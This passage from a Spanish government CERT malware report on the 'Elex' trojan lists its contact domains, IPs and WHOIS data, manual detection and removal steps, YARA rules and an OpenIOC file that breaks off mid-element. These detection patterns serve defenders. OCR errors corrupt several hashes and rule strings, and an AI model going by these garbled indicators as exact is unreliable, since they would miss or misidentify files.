AUSTRALIA PTY
LIMTED
AKAMAPI Akamai
International B.V.

RB521342
AKAMAI-ASN2 Akamai
International BV,

usch.akam.net

96.

7.50.65

al0-65.akam.net

96.7.50.0/24
Akamai Technologies

usel.akam.net

Tz.

246.46.64

a4-64,akam.net
usel,.akam.net

72.246.46.0/24
Comcast Cable
Communications, Inc_

Europe

Cambridge,
United
States

Xingcloud.com

NS
(missing|
in zone)

use5.akam.net

2.1

6.40.64

aB-64.akam.net

2.18.40.0/24
Dummy description
for
2.16.40.0/24A521342
AKAMAI-PA Akamai
Technologies

2520940 USCOLO-
RADB-CUST-AS20940
Proxy AS regist

Europe

M

.105.2086.

.105.208.

mxbizl.gqg.com

.105.208.

.105.2086.

.105.2086.

.105.208.

.105.208.

.105.2086.

mxbiz?.qg.com

.205.147.218|

184.104.0.0/15
Hurricane Electric
HURRICANE-11

56233 HURRICANE
Hurricane Electric

Fremant,
United
States

203.205.147.0/24
Proxy-registered route
object
TENCENT-NET-AP
Shenzhen Tencent
Computer Systems
Company Limited
Tencent Building,
Kejizhongyi

Avenue Hi-techPark,
MNanshanDistrict,
Shenzhen

25132203 TENCENT-
NET-AP-CN Tencent
Building, Keji

Shenzhen,
China

NS
(only in
SOA)

ns0l.domaincontrol.com|

218.

69.185.1

ns0l.domaincontrol.com|

216.69.185.0/24
WVeriSign Customer
Route

GO-DADDY-
COM-LLC

2526436 GODADDY
GoDaddy.com, Inc.

Scottsdale,
United
States

llustracion 25. Registros encontrados del Dominio "xa.xingcloud.com”

Existen otros dominios que poseen la misma direccién IP, son los siguientes:

| xa.crxbro.com

| xa.ghokswa.com

| xa.xingcloud.com

SIN CLASIFICAR

21



SIN CLASIFICAR
CCN-CERT ID-01/16 Informe de Cédigo Dajiino "Elex” coN-cert

6.1.1.1 Geolocalizacion

En el momento del andlisis, las direcciones IP: 65.255.35.142, 65.255.35.143,

65.255.35.144, 65.255.35.150 y 69.28.58.55 se encuentran ubicadas en Estados Unidos,
como se muestra en la siguiente imagen:

Mapa Satélite

\ uny: Hernaon a X
\ Hostname:|xa.xingcloud.c
by
€5.255.35.142
Country: |United States X =
- 65.255.35.143
City: Los Angeles 1P: P —
bocoun | - 65.255.35.144
Al xingcloud.com D ——
+* |Hostname 65.255.35.150
% 4 Xa.Xingcloud.com
. |Country: |China s < >
- Y 69.28.58.55
City: Shenzhen S |[IP: trpo —
] ™, 69.28.58.63 .
= \Hostnamemxkbiz2.gg.com y 4
: 203.205.147.218) me"r{-‘ w"mmﬁ T
- - S DEC’ LC " Atlantic
3 y cean \\ Ocean
india ‘Jﬁh"l'ﬂ;m Mexico -~
ailand . ger |3 | Aasemdl 3 “
e} £ 3 L A suden/,\’
ST oy §
indonesia  paguanew k!
ncnezal Pagua New | N
m———i_l
-
- ! — -
Indian ! Nemibig " Madagasikat
Yo Australi I BAlEWaRE ladagascar
Ggtigle L | Southy DCE " Términos devso | Informar de un emor de Maps
. s . .z e e . "
llustracion 26. Geolocalizacion del Dominio "xa.xingcloud.com
IP Information Results for 65.255.35.142 < Share

us us va herndon 38.946621 -77.365921 3 networks inc
United States us virginia Herndon 38.926601 -77.393600 C3 Networks
United States us Virginia Herndon 38.924511 -77.4018M €3 Networks Inc

llustracién 27. Informacién de la direccion IP #65.255.35.142, 65.255.35.143, 65.255.35.144"

IP Information Results for 69.28 58.55 < Share
Country Country Code Region City Latitude Longitude 5P
us us ca los angeles 34063400 -118.239304 €3 networks inc
United States us Virginia Herndon 38.926601 -77.393600 C3 Networks
United States us California Los Angeles 34052231 -118.243683

Los Angeles Internet...

llustracién 28. Informacién de la direccién IP “69.28.58.55"
6.1.1.2 WHOIS

A continuacion se muestra informacion extendida whois facilitada por el sitio

web "whois.net":

Domain Name: XINGCLOUD.COM
Registrar: GODADDY.COM, LLC
Sponsoring Registrar IANA ID: 146

Whois Server: whois.godaddy.com
Referral URL: http://registrar.godaddy.com
Name Server: ASIAT.AKAM.NET

Name Server: EUR2. AKAM.NET

Name Server: NS1-207.AKAM.NET
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Name Server: NS1-228. AKAM.NET
Name Server: USC5.AKAM.NET
Name Server: USET.AKAM.NET
Name Server: USE5.AKAM.NET

Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Status: clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited

Updated Date: 09-dec-2011
Creation Date: 02-sep-2010
Expiration Date: 02-sep-2015

>>> | ast update of whois database: Thu, 12 Mar 2015 12:36:27 GMT <<<

6.1.2 UP.SOFT365.COM

6.1.2.1 Direccion IP

Segun la informacion facilitada por Robtex.com, el dominio "up.soft3é65.com” se
corresponde con las direcciones IP 173.193.180.131, 174.36.200.164, 174.36.200.173,
174.36.247.67, 208.43.232.116 Y 208.43.232.118:

Base Record Preference Name IP Number Reverse Routes AS Location
173.193.176.0/20
auto-generated route
object for Dallas,
173.193.180.131] 173.193.176.0/20 United
SOFTLAYER- States
173.193.128 0
adiperto AS36351
up. 50£T365. con| up. s0fc365. com P OFTLAYER
A 174.36.200.164 |174.36.200.164-static.reverse. sofclayer. com174.36.192.0/18 |q 0 \Wash
DC CBS TRANSIT  [Sokayer ashinglen.
174.36.200.173 |174.36.200.173-stacic. Teverse. s0fTlaver. Colgno aveR. Technologies  |United
174.36.247.67 |174.36.247.67-static.reverse.softlayer.con |174.36.192.0 odiperto Inc. States
208.43.232.116 |208.43.232.116-static.reverse.softlayer.con|208.43.224.0/18
208.43.232.116 |208.43.232.118-scatic.reverse.safclayer. com Yo NTERNAP- Dallas,
208.43.232.116 (208.43.232.116 i £l ROuTES Jnited
. . . . . . —-static.reverse.softlayer.com
[ b4 SOFTLAYER- States
208.43.232.118 |208.43.232.118-static.reverse.softlayer.com208.43.224.0 odiperto
216.69.185.0/24
s [pdn=01.domaincontrol.com216.69.185.50 [pdn30l.domaincontrol.com |veriSign Customer
(pr ) Route 526498 Scottsdale
- (GODADDY N
United
208.102.255.0/24|GoDaddy.com,/g, o
Inc
NS lpdns02. domaincontrol.com208.109.255.50 [pdns02.domaincontrol.com \ézaz‘g" Customer
184.105.206.58
184.105.206.59
mxbizl.qq.com
184.105.206.57 as6a39
124.105.208.58 184.104.0.0/15 | oo e Fremont,
£1365 184.105.206.58 Humcane Blectric 4 icane United
= seem 190200 HURRICANE-11 el States
184.105.206.59 ectric
184.105.206.87
184.105.206.88
203.205.147.0/24
WX Fro
xy-registered route!
object
lmxbiz2.qq.com TENCENT-MET-AP las132203
Shenzhen Tencent
Computer Systems [TENCENT: Shenzhen
203.205.147.218 NET-AP-CN :
Company Limited China
Tencent
[Tencent Building,
Building. Keji
Kejizhongyi
\Avenue,Hi-techPark,
NanshanDistrict,
Shenzhen

llustracion 29. Registros encontrados del Dominio "up.soft3465.com"

Existen otros dominios que poseen las mismas direcciones IP, son los siguientes:

barwpm.us tabwpm.us upwpm.us
up.soft365.com www.tabwpm.us WWW.UpWpPM.Us
173.193.180.131- goplayer.cc www.goplayer.cc
static.reverse. .softlayer.com

174.36.200.164- 174.36.200.173- 828360.com
static.reverse softlayer.com static.reverse.softlayer.com

aloadpage.com soft365.com poll14.us
up.soft365.com www.soft365.com 208.43.232.116-
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stafic.reverse.softlayer.com

poll14.us 208.43.232.118-
static.reverse.softlayer.com

6.1.2.2 Geolocalizacion

En el momento del andlisis, las direcciones IP: 173.193.180.131, 174.36.200.164,
174.36.200.173, 174.36.247.67, 208.43.232.116 Y 208.43.232.118 se encuentran ubicadas
en Estados Unidos, como se muestra en la siguiente imagen:

\

Mapa Satélite

N%nhwesreln I&alaallit

— NU aS58Q€5 Junaat

- Greenland Island
P AK : Iceland

o NT

ot

Canada Country: |United States X
. p City: Washington
AL N ‘lup . .
. ; Hostname:lup.soft365.com)| United
ac SKEpe !\ 174.36.200.164 Irelarg Kingdom.
3 ) Eire
ony: ais e IP: 174.36.200.173 "\Bj
s0ft365.com | | 174.36.247.67 ’ 4
Hostname—— )
up.scft365.co e NBTE France
173.193.180.1 v e @
IP: 208.43.232.11 S = A ~—Espana
t L on Spain
208.43.232.11 v ol MY oe
XY, o Portugal
< > & e North
e - = AR A Atlantic \
Vorth e - e — MS o GAs Ocean Csaall,
‘acific X LA Mochco
Jcean £ g A.|;I sl
2 Golfo de ey Ll
México Meéxica westem | &
Mexico Sahara \ o
Cuba Sori|
" 3| PuertoRico Mauritanie| \.r
: : itania| Ma
Guagnrm ,Mauritania +
LA 7 Canbbean Sea e bu,;] =
Nicaragua o -
— Guinée, Fas
Google R Qﬂezuela b joiges e b
gle____, 5 (Guyana Datos de mapas ©2015 Google, INEGI * Términos de uso

llustracién 30. Geolocalizacién del Dominio " up.soft365.com"

IP Information Results for 173.193.180.131 < Share
Country Couniry Code Region City Latitude Longitude I5P

us us ™ dallas 32.095399 -06.784366 softlayer technaologi,

United States us Texas Dallas 32.783100 -96.806702 SoftLayer Technologi

United States us Texas Dallag 22020491 -06.838730 Softlaver Technologi

llustracion 31. Informacién de la direccion IP “173.193.180.131, 208.43.232.116 y 208.43.232.118”

IP Information Results for 174.36.200.164 < Share

us us de washington 38.208689 -77.033203 softlayer technologi
United States us Virginia Chantilly 38.894299 -77.431099 SoftLayer Technologi...
United States us Virginia Chaniilly 38.804279 -77.431099 SoftLayer Technologi...

llustracién 32. Informacion de la direccién IP “174.36.200.164, 174.36.200.173 y 174.36.247.67"

6.1.2.1 WHOIS

A continuacion se muestra informacion extendida whois facilitada por el sitio
web “whois.nef":

Domain Name: SOFT365.COM

Registrar: GODADDY.COM, LLC
Sponsoring Registrar IANA ID: 146

Whois Server: whois.godaddy.com
Referral URL: http://registrar.godaddy.com

SIN CLASIFICAR



SIN CLASIFICAR

coN-cert

CCN-CERT ID-01/16 Informe de Cédigo Daiino "Elex”

Name Server: PDNSO1.DOMAINCONTROL.COM

Name Server: PDNS02.DOMAINCONTROL.COM

Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
Status: clientTransferProhibited hitp://www.icann.org/epp#clientTransferProhibited
Status: clientUpdateProhibited hitp://www.icann.org/epp#clientUpdateProhibited

Updated Date: 28-apr-2015
Creation Date: 24-jul-2004
Expiration Date: 24-jul-2018

>>> | gst update of whois database: Tue, 08 Dec 2015 12:16:46 GMT <<<

6.1.3 MYSEARCH123.com

6.1.3.1 DIRECCION IP

Segun la informacién facilitada por Robtex.com, el dominio "mysearch123.com

se corresponde con la direccidon IP 184.173.140.169:

Base Record Preference Name

mysearchl?3.com

IP Number Reverse

184.173.140.169|184.173.140.169-static. reverse. softla

Routes AS Location
184.173.128.0/18
auto-generated route
object for
yer.com(184.173.128.0/18
SOFTLAYER-
184.173.128.0

odiperto

AS36351
SOFTLAYER
SoftLayer
Technologies
Inc.

Houston,
United
States

NS

pdnsos . domaincontrol . com
(primary

216.69.185.52 |pdns05.domaincontrol.com

216.69.185.0/2¢
\VeriSign Customer
Route

GO-DADDY-
COM-LLC

NS pdns06.domaincontrol.com

206.109.255.52 |pdns06.domaincontrol.com

208.109.255.0/24
VeriSign Custamer
Route

GO-DADDY-
COM-LLC

mysearchl23.co

VX

mailstorel.secureserver.net

68.178.213.243 |ip-68-178-213-243,1ip.secursserver.net

68.175.212.0/22
68.178.128.0/17

€8.17£.213.244 |ip-68-178-213-244.ip.secureserver.net

GoDaddy.com, Inc.
GO-DADDY-
COM-LLC

1526498

GODADDY Scottsdale,

72.167.238.32 |p3pismtp01-065.prod.phx3.secureserver

United

72.167.236.0/22 States

72.167.0.0/16
GoDaddy.com, Inc.
GO-DADDY-
COM-LLC

GoDaddy.com,
Inc.
.net

smtp.secureserver.net

€8.178.213.37

p3plibsmepd2-vOl.prod.phx3. secureserver.net

68.178.212.0/22
68.178.128.0/17

68.178.213.203

lp3plibsmtp03-v0l.prod.phx3.secureserver.net

oDaddy.com, Inc.
GO-DADDY-
COM-LLC

72.167.238.29

p3plibsmepdl-vOl.prod.phx3.secureserver.net

72.167.236.0/22
72.167.0.0/16
(GoDaddy.com, Inc.
GO-DADDY-
COM-LLC

llustracion 33. Registros encontrados del Dominio "mysearch123.com”

Existen otros dominios que poseen la misma direccién IP, son los siguientes:

alaskacruisetransfer.biz

denislaverdiere.ca

paramountdental.ca

sueharrison.ca

disenoyservicios.cl

stantcorp.co

tfruckwebsite.co

3dfor4d.com

3vdigitalcel.com

4figureskating.com

4industrialdesign.com

adbrainmedia.com

aleonphotography.com

alyafieco.com

appointtech.com

arizonanursinghomeabuselawyer.co
m

atlascolumns.com

balineseyoga.com

bgoat.com

bhhs-pdx.com

bilsteinheavyduty.com

bitterfield.com

bocaiapp.com

brulerie-du-roy.com

burnhamcapitalinc.com

chinavisaform.com

churchlauncher.com

cpafirmgrowth.com

dnatestingaurora.com

eccmanagement.com

enriguealcalde.com

escuelashiphopbogota.com

faceonacase.com

fordonepennyover.com

formuladcard.com

gamanager.com

gaming-experience.com

golfattheranch.com

gtcreditsolutions.com
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hollywood-slots-at-kansas-
speedway.com

iamrobby.com

ideatomeaningfulproduct.co
m

iphonewebdesignfordummies.com

jobsin512.com

katsuyamiami.com

lestarbyangel.com

life-sciencetechnology.com

lithiacalifornia.com

Ivclubcrawl.com

marainfo.com

mittelfrueh.com

my-casinosurveys.com

neosurfcasinoenligne.com

pacificgateworks.com

parablesbookshops.com

princessfox.com

radonmountpleasant.com

rejuvenateautocanada.com

sallywipes.com

seedspread.com

steakandkidneypies.com

summerfieldhealthcarecenter.co
m

thebetterskincare.com

theloansourceincorporated.com

tfopthisbitch.com

uniquerustigue.com

ursenet.com

websitedevelopersuk.com

yinxing316.com

youremysoulmate.com

zoyeoil.com

allthegames.in

scclogistics.in

acunnmedya.info

Italogistics.info

senior-baths.info

cms.md

paftrickryan.me

big-user.net

findledlight.net

fxhotshots.net

naturalparent.net

saguenay-local.net

simplestreamcdn.net

solarianenergy.net

urad-prace.net

visionsystemsinc.net

yourriva.net

getweightanswers.org

newhomessarasota.org

oregonseniorreferralassociation.org

sierrahillsbaptist.org

www.webmatrix.biz

mail.asip.co

www.condemnation-law.com

www.marplatense.com

www.ocstech.com

mail.thesourcedns.net

6.1.3.2 GEOLOCALIZACION

En el momento del andlisis, la direcciéon IP: 184.173.140.169 se encuentra ubicada
en Estados Unidos, como se muestra en la siguiente imagen:

i L
Mapa Satélite \I‘
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% o S ac
| " - X
y— _1‘ Country: |United States
WA
City: Houston MNB oA
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ECoOTTTK / AN Y
X 9\“ W0 Ky VA
O Al ™ NC

nM s, s

™ GA
L
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Meéxico México
Mexico
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ol
Cuba

| Puetto Rico
Guatemala

A, /. Canibbean Sea

Nicaragua

Unite

Ire{arfa Kingd:
Eire
F
P
Espana
Spain
Portugal
North
Atlantic
Ocean
Morocco
= £
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oy
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L)

290
Mauritanie :
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AN aiikins
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Suineal™™™ o 1
SR X
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Rrazil Natns da manas @016 Gonala INFGI | Términas da usa

llustracion 34. Geolocalizacién del Dominio "mysearch123.com”

IP Information Results for 184.173.140.169

Country Country Code
us us
United States us
United States us

Region City Latitude

dc washingron 38.808689
Virginia Chantilly 38.804299
virginia Chantilly 38.804279

Longitude ISP

-77.033203 theplanet.com intern...
-77.431099% ThePlanet.com Intern..
-77.431099 ThePlanet.com Intern..

llustracién 35. Informacién de la direccién IP “184.173.140.169"
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6.1.3.3 WHOIS

A continuacién se muestra informacion extendida whois facilitada por el sitio
web “whois.neft":

Domain Name: MYSEARCH123.COM

Registrar: GODADDY.COM, LLC

Sponsoring Registrar IANA ID: 146

Whois Server: whois.godaddy.com

Referral URL: http://registrar.godaddy.com

Name Server: PDNSO5.DOMAINCONTROL.COM

Name Server: PDNS06.DOMAINCONTROL.COM

Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
Status: clientTransferProhibited hitp://www.icann.org/epp#clientTransferProhibited
Status: clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited
Updated Date: 16-apr-2015

Creation Date: 16-apr-2015

Expiration Date: 16-apr-2016

>>> | ast update of whois database: Tue, 19 Jan 2016 16:41:53 GMT <<<

7. DETECCION

7.1 Utilidad del sistema

A continuacién se detallan los pasos necesarios para llevar a cabo una
deteccién manual del cdédigo danino Elex en el equipo:

En primer lugar ejecutar la utiidad “services.msc” (inicio > ejecutar >
services.msc).

Una vez ejecutada la utilidad “Services” se procederd a localizar el servicio
ik "
SFFK":
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T o e s

Eile Action View | Help |

B H=z»®nmw

s

SSFK I} Mame Descripticn Status Startup Type LogOnAs =
. iS';,;Smart Card Reme... Allows the s.. Manual Local Syste...
Start the senvice C.,m SMMP Trap Receives tra... Manual Local Service
i%SDMEre Protection Enablesthe.. Started Automatic (D..  Metwork ...
Descripticn: i%SPP Metification 5., Provides 5o... Started Manual Local Service
System Agent Service £ 55DP Discovery Discovers n..  Started Manual Local Service
Systemn Age... Automatic Local Syste...
i%Superfetch Maintains a... IManual Local Syste...
.,.C,\y} System Event Neti... Moenitors sy, Started Automatic Local Syste...
i%Tablet PCInput Se.. Enables Tab.. Manual Local Syste...
i%Task Scheduler Enables a us... Started Automatic Local Syste..
i%TCP;’IP MetBIOS H... Provides su..  Started Automatic Local Service
i%Telephony Provides Tel... Manual Metwork 5.
i%Themes Provides us..,  Started Automatic Local Syste..
iS';,;Thread Ordering 5... Provides or... IManual Local Service
i%TPM Base Services  Enables acc.. IManual Local Service
iS;;UPnP Device Host  Allows UPn... IManual Local Service
g\y) Uzer Profile Service  This service ...  Started Automatic Local Syste...
i%\firtual D=k Provides m... IManual Local Syste..
i%\:‘olume Shadow C... Manages an... IManual Local Syste...
i%WebCIient Enables Win... IManual Local Service B

Extended /(Standard/

llustracioén 36. Servicio SSFK presente en “Services”

Si se encuentra este servicio significa que el equipo se encuentra infectado.

Otro método es verificar la existencia de la carpeta “%ProgramFiles%s\SFK". Para
realizar esta comprobacién serd necesario abrir un explorador de archivos que
muestre el contenido de "“%ProgramFiles’%" y se procederd a buscar la carpeta “SFK”

s
@@v\ )i » Computer » Local Disk (C) » Program Files » [ 43 ][ Search Program Fites 2|
I
Orgenize ¥ [ Open  Includeinlibrary »  Sharewith ¥  Bum  Newfolder #H- A e
¢ Favorites B 0 ) D
JI T (I I S |
[ Libraries 7-Zip Cemmon DVD Maker Google DAGS Immunity Internet
Files Inc Explorer
e I R TR I T I T
18 Computer Microsoft ~ MSBuild  Reference SFK Sfk_temp temp Windows
& Local Disk (C) Games Assemblies Defender

¥ e I T T S VIR S |
‘Windows Windows Windews Windows ‘Windows Windows ‘Windows

Journal Mail Media NT Photo Portable Sidebar
Player Viewer Devices

SFK. Date modified: 15/12/201512:06
J I File folder

llustracion 37. Explorador de archivos mostrando “%ProgramFiles%"

Si se encuentra esta carpeta significa que el equipo estd infectado.

28
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Se ha generado un nuevo archivo indicador de compromiso. El nombre del
indicador generado es "Elex - CCN-CERT' con GUID "3fbc?72f-4993-40bé-b7ec-

63af3ef65309".

Se utilizard el indicador con alguna de las herramientas de las que dispone
Mandiant como "Mandiant_ioc_finder' o para la confeccidén de un recolector de
evidencias mediante "Mandiant RedLine".

Se recomienda consultar la guia de seguridad CCN-STIC-423 Indicadores de
Compromiso (IOC), donde se recoge qué es un indicador de compromiso, cédmo
crearlo y cémo identificar equipos comprometidos.

Name: |Elex

Author: |CCN-CERT

GUID: |3fbc972£-49393-40b6—bTec-63af3e£65309

Created: |Z015-12-14 16:34:41Z

Modified: |2015-12-15 10:01:152

Description:

Type Reference

10Cs para detectar.
~MD5 Instaldor ELEX_NSIS]|
~MD5 Instalder ELEX
- MD5 Servicio 32 bits

-

add: AND OR ltem -

i

= o=

i~ File MDS is

Eon

File MDS

=-oR

File MDS

= oR

File MDS

&-om

~-File MDS

£-om

~+File MDS

EIOR

=-o=
File
=-om
: File
=-or
: File
=-or
: File
= oR

- File

Full

Full

Full

Full

Full

llustracion 38. Indicadores de compromiso I0Cs

db35731c7211b38de54a19a3013e087a

is

08267432c2c3dE664d9£2031e38dat76

is 3dfl1e20£7131lbcae704afes0b7140%8c

is 125b4537444c5535245859b51be4335722

is blfe0d3Sc3ef45400ea5e36af3192 557

is S52led9fblidebbbeel0d4£6215e04ad0

-~ Serviece Name contains ssfk

Path contasins hwsfkissfk.exs

Fath

Tath

Dath

Path

contains

contains

contains

contains

nsZkisTkex.exe

wsfkisfkexEd . exs

Wsfk\sfkex d1l

Wsfk\sfkexd4s d11

SIN CLASIFICAR



SIN CLASIFICAR
CCN-CERT ID-01/16 Informe de Cédigo Dajiino "Elex” coN-cert

8. DESINFECCION

8.1 Manual

A continuacion se detallan los pasos necesarios para llevar a cabo una
desinfeccién manual del cédigo danino “Elex” en el equipo con un usuario que tenga
permisos de administrador en el mismo.

En primer lugar hay que abrir el administrador de servicios del sistema (inicio >
ejecutar > services.exe):

Y a continuacién localizar el servicio creado por el cédigo danino: “SSFK”

— oo

File Action View Help

e |EEBc=zHE > o uw
, Services (Local) QJ; Services (Local)
SSFK Mame : Description Status Startup Type LegOnds =
. % Security Accounts...  The startup ... Started Autematic Local Syste...
%f;::;:::;ﬁce ’,.e" Security Center The WSCSV..,  Started Autematic (0., Local Service
- o Server Supports fil..  Started Autematic Local Syste...
% Servicio de Googl.,  Mantiene a... Autematic (D, Local Syste..
DEEC"iPti_Dn: ) % Servicio de Googl.,  Mantiene a... Manual Local Syste..,
System Agent Service £ Shell Hardware De... Provides ne..  Started Autematic Local Syste...
’,.e, Smart Card IManages ac... IManual Local Service
’,.:, Smart Card Remc... Allows thes.., Manual Lecal Syste..,
’,.5 SMMP Trap Receives tra... Manual Local Service
(% Software Protection Enablesthe.. Started Autematic (0., Metwork 5.
£ SPP Motification ... Provides So...  Started Manual Local Service
£ SSDP Discovery Discoversn..  Started Manual Lecal Service —

e ssFic Started  Automatic
e uperfetch Maintains a... Manual Lecal Syste..,

Systern Age... Local Syste...

m

’,.5 System Event Moti.. Moeniters sy, Started Autematic Local Syste..,
% Tablet PC Input Se... Enables Tab... Manual Lecal Syste..,
4 Task Scheduler Enables a us.. Started Autematic Local Syste..,

£5 TCP/IP MetBIOS H... Provides su..  Started Automatic Local Service
.’,';e‘,-TEIephon}r Provides Tel... IManual Metwork 5.
F,';a‘,-Themes Provides us..  Started Autematic Local Syste... _
;.-.l_. e — .. . L |.P

Extended j(\Standard/

llustracién 39. Servicio dafino

Una vez hecho esto se abre una consola de comandos (inicio > ejecutar >
cmd.exe) con permisos de administrador y se infroducen en ella las siguientes
instrucciones:

sc stop SSFK
sc delete SSFK
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BN Administrator: C\Windows\System32cmd.exe EI@

C:~Windowsssyzstem32>zsc delete SSFK
[8C] DeleteService SUCCESS

C:“Windows“sustem32> o

Tras eliminar el servicio dafino sdlo queda borrar la carpeta localizada en
“%ProgramFiles%\SFK".

Por Ultimo se reiniciard el sistema vy se restablecerdn las pdginas de inicio de los
navegadores.

9. REFERENCIAS
[1] NSIS (Nullsoft Scriptable Install System) - Nullsoft

http://nsis.sourceforge.net/Main_Page
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10. ANEXOS
ANEXO | - REGLAS DE DETECCION

REGLAS YARA

import "pe"
rule Trj_Elex_Installer_NSIS {

meta:
author = "Centro Criptolégico Nacional (CCN)"
description = "Elex Installer NSIS"
strings:
$mz = { 4d 5a }
$strl = {4e 75 6¢c 6¢C 73 6f 66 74 }
$str2 = {b7 a2 d5 dc Oc d6 a6 3a}
condition:

($mz at 0) and ($strl at 0xA008) and ($str2 at 0x1c8700)

}
rule Trj_Elex_Installer {
meta:
author = "Centro Criptolégico Nacional (CCN)"
description = "Elex Installer"
strings:
$mz = { 4d 5a }
$strl = {65 00 76 00 65 00 72 00 79 00 74 00 68 00 69 00 6e
00 67 00}
$str2 = "Iswowb4Process"”
$str3 = "SSFK"
condition:

($mz at 0) and ($strl) and ($str2) and ($str3)

}
rule Trj_Elex_Service32 {
meta:
author = "Centro Criptoldégico Nacional (CCN)"
description = "Elex Service 32 bits"
strings:
$mz = { 4d 5a }
$strl = "http://xa.xingcloud.com/v4/sof-everything/"
$str2 = "http://www.mysearchl23.com"
$str3 = "21e223b3f0c97db3c281dalg7zccaefozzjcktmima”
condition:
(pe.machine == pe.MACHINE_I386) and ($mz at 0) and ($strl)

and ($str2) and ($str3)
}
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rule Trj_ETex_Service64 {

meta:
author = "Centro Criptolégico Nacional (CCN)"
description = "Elex Service 64 bits"
strings:
$mz = { 4d 5a }
$strl = "http://xa.xingcloud.com/v4/sof-everything/"
$str2 = "http://www.mysearchl23.com"
$str3 = "21e223b3f0c97db3c281ldalg7zccaefozzjcktmima™
condition:
(pe.machine == pe.MACHINE_AMD64) and ($mz at 0) and ($strl)
and ($str2) and ($str3)
}
rule Trj_Elex_D1132 {
meta:
author = "Centro Criptoldégico Nacional (CCN)"
description = "Elex DLL 32 bits"
strings:

$mz = { 4d 5a }
$strl = {59 00 72 00 72 00 65 00 68 00 73 00}
$str2 = "RookIE/1.0"

condition:
(pe.machine == pe.MACHINE_I386) and (pe.characteristics &
pe.DLL) and ($mz at 0) and ($str1) and ($str2)
}
rule Trj_Elex_D1164 {
meta:
author = "Centro Criptoldégico Nacional (CCN)"
description = "Elex DLL 64 bits"
strings:
$mz = { 4d 5a }
$strl = {59 00 72 00 72 00 65 00 68 00 73 00}
$str2 = "RookIE/1.0"
condition:
(pe.machine == pe.MACHINE_AMD64) and (pe.characteristics &
pe.DLL) and ($mz at 0) and ($strl) and ($str2)
}
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I0C

<?xml version="1.0" encoding="us-ascii"?>

<ioc xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema" id="3fbc972f-4993-40b6-b7ec-
63af3ef65309" last-modified="2015-12-15T10:01:15"

xmlns="http://schemas.mandiant.com/2010/ioc">
<short_description>Elex</short_description>
<description>I0Cs para detectar:
- MD5 Instaldor ELEX_NSIS
- MD5 Instaldor ELEX
- MD5 Servicio 32 bits
- MD5 Servicio 64 bites
- MD5 DLL 32 bits
- MD5 DLL 64 bits
- Servicio SFFK
- Archivos en carpeta \SFK</description>
<authored_by>CCN-CERT</authored_by>
<authored_date>2015-12-14716:34:41</authored_date>
<1links />
<definition>
<Indicator operator="OR" id="5e00227b-5c93-4fd2-99e2-6311025550df">

<IndicatorItem id="e8833c80-3eb8-43a0-ba21-36ad80a69b2c"
condition="1is">

<Context document="FileItem" search="FileItem/Md5sum" type="mir" />
<Content type="md5">db35731c7211b38de54a19a9013e087a</Content>
</IndicatorItem>
<Indicator operator="0OR" id="9048e223-32b1-46d9-al75-f16b53abebd5">

<IndicatorItem 1d="2754e62c-3562-4571-be55-74f4980bda87"
condition="1is">

<Context document="FileItem" search="FileItem/Md5sum" type="mir" />
<Content type="md5">0826743ac2c3d8664d9f2031e38daf76</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="0OR" id="48db27bb-05c6-46fc-837c-b08ebc7068a2">

<IndicatorItem id="d307af63-ecf9-438e-8916-45191e50c619"
condition="1is">

<Context document="FileItem" search="FileItem/Md5sum" type="mir" />
<Content type="md5">3df1e90f7131bcae704afe60b714098c</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="b07eb6ba-4e79-4e49-bfdc-c8e03ba3c8ch">
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<IndicatorItem id="5cacbbb7-c252-4fb2-96d7-b4ddf7e5b213"
condition="1is">

<Context document="FileItem" search="FileItem/Md5sum" type="mir" />
<Content type="md5">125b4997444c993f2d89bf1be433572a</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="532c03da-dbbc-4f21-81fd-e6535d0fee74">

<IndicatorItem id="6b05921a-46dc-4324-97e9-06dcbacfe861"
condition="1is">

<Context document="FileItem" search="FileItem/Md5sum" type="mir" />
<Content type="md5">blfc0d35c3ef49400ea5e96af9192ff7</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" 1id="af8db4db-c6cf-43fc-a623-057adb379bda">

<IndicatorItem id="4bb693e3-9fef-4292-947d-d05beab69297"
condition="1is">

<Context document="FileItem" search="FileItem/Md5sum" type="mir" />
<Content type="md5">531cd9fbl44ebbbccl10d4f6215e04ad0</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="eca2b67b-3d57-4dda-9d9%e-c8dcla3aace3">

<IndicatorItem id="c3e2da2c-e770-4040-8b2d-26668a65c656"
condition="contains'">

<Context document="ServiceItem" search="ServiceItem/name"
type="mir" />

<Content type="string">ssfk</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="41485425-6b67-4173-874b-7346e7408a28">

<IndicatorItem id="d9421aa0-6fdc-4d6f-95e0-412b0b605758"
condition="contains'">

<Context document="FileItem" search="FileItem/FullPath" type="mir"
/>
<Content type="string">\sfk\ssfk.exe</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="3fa2e6d4-fa3e-43d0-aad3-84343193d64d">

<IndicatorItem id="7c86bc7a-41c5-4d78-a3a7-c6e62a9252ee"
condition="contains'">

<Context document="FileItem" search="FileItem/FullPath" type="mir"

/>
<Content type="string">\sfk\sfkex.exe</Content>

</IndicatorItem>
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</Indicator>
<Indicator operator="OR" id="8ff0ab8b-f925-4f29-bd2c-7c8e540a8dcc">

<IndicatorItem id="f46546ce-e8dc-4dda-aa7c-2f6095032344"
condition="contains">

<Context document="FileItem" search="FileItem/FullPath" type="mir"

/>
<Content type="string">\sfk\sfkex64.exe</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="a26487el-4elf-404a-b27f-48c00037a9dd">

<IndicatorItem id="3caf4867-8a37-4015-94e7-90deb4b574da"
condition="contains">

